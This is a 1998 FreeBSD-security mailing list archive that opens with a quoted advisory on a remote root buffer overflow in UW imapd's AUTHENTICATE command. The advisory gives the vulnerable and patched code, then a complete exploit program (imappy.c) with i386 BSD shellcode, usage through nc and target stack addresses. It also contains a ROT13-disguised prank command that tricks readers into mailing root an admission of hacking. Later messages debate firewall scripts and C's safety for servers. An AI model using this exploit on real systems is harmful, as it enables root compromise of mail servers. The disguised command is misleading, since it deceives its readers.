reads: > > char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[]) > { > char tmp[MAILTMPLEN]; > AUTHENTICATOR *auth; > /* make upper case copy of mechanism name */ > ucase (strcpy (tmp,mechanism)); > for (auth = mailauthenticators; auth; auth = auth->next) > if (auth->server && !strcmp (auth->name,tmp)) > return (*auth->server) (resp,argc,argv); > return NIL; /* no authenticator found */ > } > > The problem lies in the strcpy() call that copies the contents of mechanism > to tmp which resides on the stack as an automatic variable. The tmp buffer > is MAILTMPLEN bytes in size, with MAILTMPLEN defined to be 1024 in mail.h. > However, the command string read from the client by the server is placed > into a buffer TMPLEN bytes in size, with TMPLEN defined to be 8192 in > imapd.c, thus allowing the passing of arguments to mail_auth() that greatly > exceed the size of its temporary buffer. Since the IMAP server has not > yet given up its root privileges at this stage of the login process, this > programming oversight can be exploited to yield root compromise on the IMAP > server machine. > > Crafting machine code to take over the IMAP server through the AUTHENTICATE > command buffer overflow presents technical challenges because the buffer > contents are passed through ucase() which transforms all lowercase > characters to uppercase, so the exploit machine code, which typically > spawns a shell, must be impervious to mangling by toupper(). The > "standard" i386 BSD exploit code, however, proves to be exceptionally > resilient and actually the only necessary modification proves to be > protecting the lowercase characters in the string "/bin/sh" which requires > only trivial modifications. > > Recent versions of imapd also include checks in parse_astring() in imapd.c > to reject characters with the high bit (eighth bit) set, so malicious > exploit code (which often contains characters greater than 0x7f and > non-letter characters) must be smuggled in as a string literal argument to > the AUTHENTICATE command, which proves to be only a minor difficulty. > > IMPACT > > Any remote individual with malicious intentions may gain root access to the > machine running a vulnerable version of imapd, with no knowledge of any > valid local usernames or passwords. As such, this matter should be treated > with the utmost of seriousness. > > VULNERABLE SYSTEMS > > Initial analysis seems to indicate that versions of the UW imapd IMAP 4.1 > server up through version 10.234 distributed as part of the Pine 4.00 > distribution are vulnerable. Versions as old as 10.191 have been analyzed > and found to be vulnerable, and it is believed that earlier versions are > likely vulnerable, as well. It may be safe to assume that all versions of > imapd (previous to and including the version distributed with Pine 4.00) > that support the IMAP AUTHENTICATE command are vulnerable. > > At the present time it is not known if any UW imapd IMAP2bis servers are > vulnerable to this specific hole, but they are likely vulnerable to the > older LOGIN hole described in the advisories referenced above. > > FIX INFORMATION > > As a temporary emergency measure, it is recommended that all sites running > vulnerable versions of imapd disable their IMAP service in /etc/inetd.conf > until it is possible to upgrade to a patched version of the server. > > The University of Washington is currently distributing a separate version > of imapd (confusingly, also numbered 10.234) outside of the Pine > distribution that addresses the overflow in mail_auth(). The patched code > reads: > > char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[]) > { > char tmp[MAILTMPLEN]; > AUTHENTICATOR *auth; > /* cretins still haven't given up */ > if (strlen (mechanism) >= MAILTMPLEN) > syslog (LOG_ALERT|LOG_AUTH,"System break-in attempt, host=%.80s", > tcp_clienthost ()); > else { /* make upper case copy of mechanism name */ > ucase (strcpy (tmp,mechanism)); > for (auth = mailauthenticators; auth; auth = auth->next) > if (auth->server && !strcmp (auth->name,tmp)) > return (*auth->server) (resp,argc,argv); > } > return NIL; /* no authenticator found */ > } > > This patched version of imapd may be obtained at: > > ftp://ftp.cac.washington.edu/mail/imap.tar.Z > > COMMENTARY > > In some ways, it is depressing to find this new hole. Programmers are > still making the same mistakes they have made for years. Doesn't anyone > learn from the past? Can strcpy() ever be used safely? Perhaps the > software development community, and certainly those writing network service > daemons that run as root, should discontinue using *any* C library > functions that do not include bounds checking information, such as > sprintf(), strcat(), and strcpy(). Yes, they *can* be used safely but the > potential for misuse is too great. When will we learn? When? > > I'll end my diatribe here. > > EXPLOIT INFORMATION > > What good is a security advisory without exploit information? The > following code exercises the buffer overflow condition on platforms running > i386 versions of BSD UNIX, such as FreeBSD or BSDI. I cannot be held > responsible for the consequences of releasing this code nor can I be held > responsible for results of its application. I am releasing this code to be > used for ethical purposes in diagnosing and testing the associated > vulnerability. Do not use this code to break into systems against the > wishes of their owners. > > In short, be good, kids. Okay? > > Oh, one other thing. If you're trying to use this code and it doesn't seem > to be working, type the following command at your UNIX prompt: > > echo "v nz gelvat gb unpx ebbg" | tr a-z n-za-m | mail root@hostname > > where "hostname" should be replaced with the hostname of the machine > running the IMAP server. Make sure you type it exactly as listed, since > every character counts. Once you've done that, try the exploit code again > and it should work. > > Yours truly, > > Cheez Whiz > cheezbeast@hotmail.com > > imappy.c > > ----- cut here ----- cut here ----- cut here ----- cut here ----- > > /** > *** i386 BSD remote root exploit for UW imapd IMAP 4.1 server > *** > *** This is *not* the same bug addressed in CERT Advisory CA-97.09! > *** > *** Usage: % (imappy nop esp offset; cat) | nc hostname 143 > *** > *** where nop is the number of NOP opcodes to place at the start of the > *** exploit buffer (I use 403), esp is the %esp stack pointer value, and > *** offset is the number of bytes to add to esp to calculate your target > *** %eip. > *** > *** Demonstration values for UW imapd 10.234 (part of Pine 4.00): > *** > *** imappy 403 0xefbfd5e8 100 (BSDI 3.0) > *** imappy 403 0xefbfd4b8 100 (FreeBSD 2.2.5) > *** > *** THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER > *** > *** Cheez Whiz > *** cheezbeast@hotmail.com > *** > *** July 16, 1998 > **/ > > #include > #include > #include > #include > > #define BUFLEN (2*1024) > #define NOP 0x90 > > char shell[] = > /* 0 */ "\xeb\x34" /* jmp springboard */ > /* start: */ > /* 2 */ "\x5e" /* popl %esi */ > /* 3 */ "\x8d\x1e" /* leal (%esi),%ebx */ > /* 5 */ "\x89\x5e\x0b" /* movl %ebx,0xb(%esi) */ > /* 8 */ "\x31\xd2" /* xorl %edx,%edx */ > /* 10 */ "\x89\x56\x07" /* movl %edx,0x7(%esi) */ > /* 13 */ "\x89\x56\x0f" /* movl %edx,0xf(%esi) */ > /* 16 */ "\x89\x56\x14" /* movl %edx,0x14(%esi) */ > /* 19 */ "\x88\x56\x19" /* movb %dl,0x19(%esi) */ > /* 22 */ "\x31\xc0" /* xorl %eax,%eax */ > /* 24 */ "\xb0\x7f" /* movb $0x7f,%al */ > /* 26 */ "\x20\x46\x01" /* andb %al,0x1(%esi) */ > /* 29 */ "\x20\x46\x02" /* andb %al,0x2(%esi) */ > /* 32 */ "\x20\x46\x03" /* andb %al,0x3(%esi) */ > /* 35 */ "\x20\x46\x05" /* andb %al,0x5(%esi) */ > /* 38 */ "\x20\x46\x06" /* andb %al,0x6(%esi) */ > /* 41 */ "\xb0\x3b" /* movb $0x3b,%al */ > /* 43 */ "\x8d\x4e\x0b" /* leal 0xb(%esi),%ecx */ > /* 46 */ "\x89\xca" /* movl %ecx,%edx */ > /* 48 */ "\x52" /* pushl %edx */ > /* 49 */ "\x51" /* pushl %ecx */ > /* 50 */ "\x53" /* pushl %ebx */ > /* 51 */ "\x50" /* pushl %eax */ > /* 52 */ "\xeb\x18" /* jmp exec */ > /* springboard: */ > /* 54 */ "\xe8\xc7\xff\xff\xff" /* call start */ > /* data: */ > /* 59 */ "\x2f\xe2\xe9\xee\x2f\xf3\xe8" /* DATA (disguised /bin/sh) */ > /* 66 */ "\x01\x01\x01\x01" /* DATA */ > /* 70 */ "\x02\x02\x02\x02" /* DATA */ > /* 74 */ "\x03\x03\x03\x03" /* DATA */ > /* exec: */ > /* 78 */ "\x9a\x04\x04\x04\x04\x07\x04"; /* lcall 0x7,0x0 */ > > char buf[BUFLEN]; > unsigned long int nop, esp; > long int offset; > > void > main (int argc, char *argv[]) > { > int i; > > if (argc < 4) { > printf("usage: %s nop esp offset\n", argv[0]); > return; > } > > nop = strtoul(argv[1], NULL, 0); > esp = strtoul(argv[2], NULL, 0); > offset = strtol(argv[3], NULL, 0); > > memset(buf, NOP, BUFLEN); > memcpy(buf+nop, shell, strlen(shell)); > for (i = nop+strlen(shell); i < BUFLEN - 4; i += 4) > *((int *) &buf[i]) = esp + offset; > > printf("* AUTHENTICATE {%d}\r\n", BUFLEN); > for (i = 0; i < BUFLEN; i++) > putchar(buf[i]); > printf("\r\n"); > > return; > } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Jul 17 08:10:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA25917 for freebsd-security-outgoing; Fri, 17 Jul 1998 08:10:28 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.euroweb.hu (mail.euroweb.hu [193.226.220.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA25806 for ; Fri, 17 Jul 1998 08:10:21 -0700 (PDT) (envelope-from hu006co@mail.euroweb.hu) Received: (from hu006co@localhost) by mail.euroweb.hu (8.8.5/8.8.5) id RAA00393 for freebsd.org!freebsd-security; Fri, 17 Jul 1998 17:10:04 +0200 (MET DST) Received: (from zgabor@localhost) by CoDe.hu (8.8.8/8.8.8) id QAA00318 for freebsd-security@freebsd.org; Fri, 17 Jul 1998 16:15:38 +0200 (CEST) (envelope-from zgabor) From: Zahemszky Gabor Message-Id: <199807171415.QAA00318@CoDe.hu> Subject: Re: Large-scale scan of SNMP ports In-Reply-To: <199807171255.WAA29844@mail.aussie.org> from Hallam Oaks P/L list account at "Jul 17, 98 10:56:30 pm" To: freebsd.org!freebsd-security@zg.CoDe.hu Date: Fri, 17 Jul 1998 16:15:37 +0200 (CEST) X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Two persons privately expressed interest in a copy of the rc.firewall script > that I used (which picked up the scan). It's not anything overly great, but > it's well-commented and works for me. > > If there's any general interest from other users I'll post it to this list > (assuming that's the 'done thing'). By the way, I'm interested in it, too. ZGabor at CoDe dot HU -- #!/bin/ksh Z='21N16I25C25E30, 40M30E33E25T15U!' ;IFS=' ABCDEFGHIJKLMNOPQRSTUVWXYZ ';set $Z ;for i { [[ $i = ? ]]&&print $i&&break;[[ $i = ??? ]]&&j=$i&&i=${i%?};typeset -i40 i=8#$i;print -n ${i#???};[[ "$j" = ??? ]]&&print -n "${j#??} "&&j=;typeset +i i;};IFS=' 0123456789 ';set $Z;X=;for i { [[ $i = , ]]&&i=2;[[ $i = ?? ]]||typeset -l i;X="$X $i";typeset +l i;};print "$X" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Jul 17 09:26:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA08026 for freebsd-security-outgoing; Fri, 17 Jul 1998 09:26:30 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from obie.softweyr.com ([204.68.178.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA08017 for ; Fri, 17 Jul 1998 09:26:27 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from obie.softweyr.com (zaphod.softweyr.com [204.68.178.35]) by obie.softweyr.com (8.8.8/8.8.8) with SMTP id KAA19389; Fri, 17 Jul 1998 10:25:54 -0600 (MDT) (envelope-from wes@softweyr.com) Date: Fri, 17 Jul 1998 10:25:54 -0600 (MDT) Message-Id: <199807171625.KAA19389@obie.softweyr.com> Subject: Re: EMERGENCY: new remote root exploit in UW imapd From: Wes Peters To: freebsd-security@FreeBSD.ORG, cts@internetcds.com Reply-To: Wes Peters In-Reply-To: <199807170035.RAA05041@bangkok.office.cdsnet.net> References: <199807170035.RAA05041@bangkok.office.cdsnet.net> X-Priority: 3 (Normal) X-Mailer: BeatWare Mail-It 1.6 X-BeOS-Platform: Intel or clone Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id JAA08022 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org My hidden microphone recorded Craig Spannring (cts@internetcds.com) saying: % C should not be used for trusted programs. The lack of true arrays % with array bounds checking alone makes it too hazardous. How many % buffer overflow attacks would we hear about if the trusted server % programs were written using a language with bounds checking like % Modula-2 or Ada? Zero. And thus we hear from another Luddite. The use of Modula-2 or Ada doesn't guarantee the programmers will take the time to design their programs, does it? These languages don't require you to enter the requirements document and the design document and compile them, nor do they eliminate coding mistakes from the program. They supply some tools, which are also available to C and C++ programmers, in the form of strncpy, snprintf, etc. The ONLY sure way to security is to carefully monitor the performance of your system, and to make sure the developers and maintainers of your system are responsive to the inevitable attacks and compromises. These episodes are the best argument for Open Source systems I can think of. How long would it take Microsoft or Sun to distribute a patched server to their installed base? I'll bet {Free,Open,Net}BSD and Linux get them out much faster. ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.softweyr.com/~softweyr wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Jul 17 09:34:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA09544 for freebsd-security-outgoing; Fri, 17 Jul 1998 09:34:41 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from stingray.ivision.co.uk (stingray.ivision.co.uk [195.50.91.40]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id JAA09538 for ; Fri, 17 Jul 1998 09:34:37 -0700 (PDT) (envelope-from manar@ivision.co.uk) Received: from pretender.ivision.co.uk [195.50.91.43] by stingray.ivision.co.uk with smtp (Exim 1.62 #2) id 0yxDSf-0002Rc-00; Fri, 17 Jul 1998 17:34:21 +0100 Message-Id: <3.0.5.32.19980717173424.008b13c0@stingray.ivision.co.uk> X-Sender: manarpop@stingray.ivision.co.uk X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Fri, 17 Jul 1998 17:34:24 +0100 To: freebsd-security@FreeBSD.ORG From: Manar Hussain Subject: Re: Large-scale scan of SNMP ports Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org We'd certainly be interested in seeing ruleset ideas/snippets ... seem's silly to re-invent the wheel 100 times or miss out on good ideas ... Manar >> Two persons privately expressed interest in a copy of the rc.firewall >script >> that I used (which picked up the scan). It's not anything overly great, but >> it's well-commented and works for me. >> >> If there's any general interest from other users I'll post it to this list >> (assuming that's the 'done thing'). >> >> -- Chris >> Hallam Oaks P/L > >I've been building up my own ruleset. So far I'm not blocking much of >anything, just categorising traffic and when I'm ready I'll start changing >some of the 'accept's to 'deny's. The final line in my ruleset logs >anything not picked up by the other rules. I've been surprised at just >how much scanning goes on. > >I'd be interested to see other people's scripts to the extent that they >give me a better understanding of how to identify the various traffic I >see. Could be that there should be some docs on the freebsd site on the >subject. Maybe it's a multi-platform thing and belongs elsewhere. >Probably it exists elsewhere. Probably it wouldn't have been any help >when I got to wondering about that probe for a battle.net server, but it >might have saved me some time in recognising the pattern of a traceroute. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Jul 17 09:46:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA11503 for freebsd-security-outgoing; Fri, 17 Jul 1998 09:46:07 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from itesec.hsc.fr (root@itesec.hsc.fr [192.70.106.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA11383 for ; Fri, 17 Jul 1998 09:45:59 -0700 (PDT) (envelope-from pb@hsc.fr) Received: from mars.hsc.fr (mars.hsc.fr [192.70.106.44]) by itesec.hsc.fr (8.8.8/8.8.5/itesec-1.12-nospam) with ESMTP id SAA26087; Fri, 17 Jul 1998 18:45:24 +0200 (MET DST) Received: (from pb@localhost) by mars.hsc.fr (8.8.8/8.8.8/pb-19980526) id SAA12047; Fri, 17 Jul 1998 18:45:19 +0200 (CEST) (envelope-from pb) Message-ID: <19980717184518.A11872@mars.hsc.fr> Date: Fri, 17 Jul 1998 18:45:19 +0200 From: Pierre Beyssac To: Craig Spannring , Anonymous Cc: bugtraq@netspace.org, cert@cert.org, freebsd-security@FreeBSD.ORG, security@bsdi.com Subject: Re: EMERGENCY: new remote root exploit in UW imapd References: <199807162206.AAA30072@basement.replay.com> <199807170035.RAA05041@bangkok.office.cdsnet.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.92.8i In-Reply-To: <199807170035.RAA05041@bangkok.office.cdsnet.net>; from Craig Spannring on Thu, Jul 16, 1998 at 05:35:04PM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Jul 16, 1998 at 05:35:04PM -0700, Craig Spannring wrote: > C should not be used for trusted programs. The lack of true arrays Each language has its own weaknesses. Buffer overflows are not the biggest security problem, far from it. Just for an example, consider the number of attacks possible because of badly-written Perl CGI scripts. Blaming programmer incompetence on the language is naive at best. Some languages are certainly safer than others, but no language is safe against programmer errors. > Sometime in the not to distant future there will be a major > catastrophe related to insecure Internet software. Perhaps a major > bank will go broke, perhaps the stock market will be manipulated, I'm > not sure about the specifics but it will happen. There will be a I highly doubt it. Any bug in a program is a potential danger and any program has bugs; this has been a fact of life for years, long before the Internet became mainstream. So much so that people are used to it, thanks to a few major software companies. Avoiding bugs is a software engineering problem. The choice of a language is only a small part of the equation. Furthermore, limiting computer security to a choice of language is really not serious. -- Pierre.Beyssac@hsc.fr To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Jul 17 09:48:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA12081 for freebsd-security-outgoing; Fri, 17 Jul 1998 09:48:54 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from viper.global-impact.com (viper.global-impact.com [198.242.111.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA12066 for ; Fri, 17 Jul 1998 09:48:49 -0700 (PDT) (envelope-from admin@global-impact.com) Received: from max1 (ppp04.interpoint.net [205.152.185.4]) by viper.global-impact.com (8.8.8/8.8.5) with SMTP id MAA03295; Fri, 17 Jul 1998 12:47:20 -0400 (EDT) From: "Admin" To: "Hallam Oaks P/L list account" , "freebsd-security@FreeBSD.ORG" Subject: RE: Large-scale scan of SNMP ports Date: Fri, 17 Jul 1998 12:46:33 +0100 Message-ID: <000901bdb178$8be9f740$04b998cd@max1> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <199807171255.WAA29844@mail.aussie.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Sounds great!! Are you also using TCPwrapper's for security! > -----Original Message----- > From: owner-freebsd-security@freebsd.org > [mailto:owner-freebsd-security@freebsd.org]On Behalf Of Hallam Oaks P/L > list account > Sent: Friday, July 17, 1998 1:57 PM > To: freebsd-security@FreeBSD.ORG > Subject: Re: Large-scale scan of SNMP ports > > > Two persons privately expressed interest in a copy of the > rc.firewall script > that I used (which picked up the scan). It's not anything overly > great, but > it's well-commented and works for me. > > If there's any general interest from other users I'll post it to > this list > (assuming that's the 'done thing'). > > -- Chris > Hallam Oaks P/L > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Jul 17 10:56:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA22385 for freebsd-security-outgoing; Fri, 17 Jul 1998 10:56:13 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from medusa.cs.uoi.gr (stratos@medusa.cs.uoi.gr [193.92.5.160]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA22378 for ; Fri, 17 Jul 1998 10:56:04 -0700 (PDT) (envelope-from stratos@medusa.cs.uoi.gr) Received: (from stratos@localhost) by medusa.cs.uoi.gr (8.8.8/8.8.8) id UAA09078 for freebsd-security@freebsd.org; Fri, 17 Jul 1998 20:55:30 +0300 (EEST) (envelope-from stratos) From: Stratos Paschos Message-Id: <199807171755.UAA09078@medusa.cs.uoi.gr> Subject: Re: Large-scale scan of SNMP ports In-Reply-To: <199807171415.QAA00318@CoDe.hu> from Zahemszky Gabor at "Jul 17, 98 04:15:37 pm" To: freebsd-security@FreeBSD.ORG Date: Fri, 17 Jul 1998 20:55:30 +0300 (EEST) X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > Two persons privately expressed interest in a copy of the rc.firewall script > > that I used (which picked up the scan). It's not anything overly great, but > > it's well-commented and works for me. > > > > If there's any general interest from other users I'll post it to this list > > (assuming that's the 'done thing'). > > By the way, I'm interested in it, too. > > ZGabor at CoDe dot HU Me, too. -- Stratos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Jul 17 12:48:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA07417 for freebsd-security-outgoing; Fri, 17 Jul 1998 12:48:44 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.cybcon.com (root@mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA07411 for ; Fri, 17 Jul 1998 12:48:43 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from support1.cybcon.com (william@support1.cybcon.com [205.147.76.99]) by mail.cybcon.com (8.9.0/8.9.0) with ESMTP id MAA05931; Fri, 17 Jul 1998 12:48:27 -0700 (PDT) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199807171755.UAA09078@medusa.cs.uoi.gr> Date: Fri, 17 Jul 1998 12:47:56 -0700 (PDT) Reply-To: wwoods@cybcon.com From: William Woods To: Stratos Paschos Subject: Re: Large-scale scan of SNMP ports Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org PLease here also..... On 17-Jul-98 Stratos Paschos wrote: >> > Two persons privately expressed interest in a copy of the rc.firewall >> > script >> > that I used (which picked up the scan). It's not anything overly great, >> > but >> > it's well-commented and works for me. >> > >> > If there's any general interest from other users I'll post it to this list >> > (assuming that's the 'done thing'). >> >> By the way, I'm interested in it, too. >> >> ZGabor at CoDe dot HU > > Me, too. > > -- > Stratos > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe security" in the body of the message ---------------------------------- E-Mail: William Woods FreeBSD 2.2.6 <---< Can't touch this.... Date: 17-Jul-98 Time: 12:43:14 ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Jul 17 14:06:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA22239 for freebsd-security-outgoing; Fri, 17 Jul 1998 14:06:59 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail001.mediacity.com (mail001.mediacity.com [205.216.172.9]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id OAA22234 for ; Fri, 17 Jul 1998 14:06:57 -0700 (PDT) (envelope-from nicole@mediacity.com) Received: (qmail 16102 invoked from network); 17 Jul 1998 21:07:30 -0000 Received: from dogbert.mediacity.com (208.138.36.62) by mail001.mediacity.com with SMTP; 17 Jul 1998 21:07:30 -0000 Message-ID: X-Mailer: XFMail 1.2 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199807171255.WAA29844@mail.aussie.org> Date: Fri, 17 Jul 1998 14:06:47 -0700 (PDT) Organization: MediaCity World From: Nicole To: Hallam Oaks P/L list account Subject: Re: Large-scale scan of SNMP ports Cc: "freebsd-security@FreeBSD.ORG" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 17-Jul-98 Hallam Oaks P/L list account wrote: > Two persons privately expressed interest in a copy of the rc.firewall script > that I used (which picked up the scan). It's not anything overly great, but > it's well-commented and works for me. > > If there's any general interest from other users I'll post it to this list > (assuming that's the 'done thing'). > > -- Chris > Hallam Oaks P/L > Or.. If it's just us 2, how about just sending to us :> Nicole > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe security" in the body of the message |\ __ /| (`\ | o_o |__ ) ) // \\ Nicole Harrington | SR Systems Administrator -------------------(((---(((----------------------- nicole@mediacity.com - nicole@ispchannel.com www.mediacity.com - www.ispchannel.com Phone: 650-237-1464 - Pager: 415-301-2482 Powered By Coca-Cola and FreeBSD Why do doctors call what they do practice? Microsoft: What bug would you like today? ---------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Jul 17 15:49:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA08253 for freebsd-security-outgoing; Fri, 17 Jul 1998 15:49:18 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from bangkok.office.cdsnet.net (bangkok.office.cdsnet.net [204.118.245.23]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA08245 for ; Fri, 17 Jul 1998 15:49:16 -0700 (PDT) (envelope-from cts@bangkok.office.cdsnet.net) Received: (from cts@localhost) by bangkok.office.cdsnet.net (8.8.8/8.8.5) id PAA11364; Fri, 17 Jul 1998 15:49:02 -0700 (PDT) Date: Fri, 17 Jul 1998 15:49:02 -0700 (PDT) Message-Id: <199807172249.PAA11364@bangkok.office.cdsnet.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Craig Spannring To: bugtraq@netspace.org Cc: Anonymous , freebsd-security@FreeBSD.ORG Subject: Buffer overflows. was Re: EMERGENCY: new remote root exploit in UW imapd In-Reply-To: <199807170035.RAA05041@bangkok.office.cdsnet.net> References: <199807162206.AAA30072@basement.replay.com> <199807170035.RAA05041@bangkok.office.cdsnet.net> X-Mailer: VM 6.31 under Emacs 20.2.1 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The responses I've gotten can be grouped into the following broad categories- 1) Life would be good if we eliminated C and we will. 2) Life would be good if we eliminated C, but we can't. 3) C is the only language fast enough. 3) Eliminating buffer overflows is nice, but won't solve most of the problems. 3) You can write safe code in C using strncpy, snprintf, et al. 4) Only morons write code with buffer overflows 5) Modula-2 and Ada suck and you do you. I doubt the C will be eliminated for a long time, but we need to analyze the risks of using C for critical applications. It has been demonstrated by repeated assertion that C is faster. 10,000 lemmings can't be wrong. C doesn't provide enough information to the compiler for certain classes of optimizations. People that say eliminating buffer overflows won't have much benefit need to examine some data. I took a look at some recent bugtraq messages. Out of 19 security defects 7 of them were buffer overflows, 6 were design or coding flaws, 1 was a tradeoff of 1 problems vs. another, 1 was a protocol weakness, 1 was the result of not checking validity of user supplied data before executing with /bin/sh and 3 were unknown. (CERT advisories have _so_ much detail.) Of the buffer overflows 6 gave you root privileges. With the 6 design flaws only one gave you root privs. Of the 8 problems that resulted in a root compromise, 6 of them were buffer overflows. Writing in a language that prevents buffer overflows won't solve all of the problems, in fact it won't even solve half of the problems, but it's a good start. I agree that if you use C you must use the functions that take a length parameter. In fact the next time I'm asked to look at a major piece of C my first step will be grep '(strcpy)|(sprintf)|...' *.c. But since C doesn't pass the dimensions of arrays into functions you're job is a lot harder than it should be. I've repeatedly heard that in the hands of a good programmer that C is safe and it is only morons write code with buffer overflows. A lot of people seem to think that Eric Allman is a pretty sharp programmer, but even he had a few overruns in sendmail. Look around your office. How many of the programmers are exceptional, how many are average and how many are mediocre. If even the good ones run into problems what hope do the average and mediocre ones have? Here's two snipets of (buggy) code, one in C and one in Java. Assuming both are compiled, which one could give root access and which one throws an exception? // Java do { buf[i] = getNextByteFromNextwork(); while ('\n' != buf[i++]); /* C */ do { buf[i] = getNextByteFromNextwork(); while ('\n' != buf[i++]); Half of the programmers out there are below average. Do we want them writing code in C? BTW- I must say I was surprised at the number of personal attacks I've received in regards to this message. It seems like there are a lot of people that are threatened at the very idea of some language other than C. As Mr. Spock would say, "Fascinating". Comments regarding my parentage, education or IQ are not relevant to the discussion of making safe and secure server programs and will be ignored. -- ======================================================================= Life is short. | Craig Spannring Ski hard, Bike fast. | cts@internetcds.com --------------------------------+------------------------------------ Any sufficiently perverted technology is indistinguishable from Perl. ======================================================================= To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri Jul 17 16:40:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA16857 for freebsd-security-outgoing; Fri, 17 Jul 1998 16:40:37 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: (from jmb@localhost) by 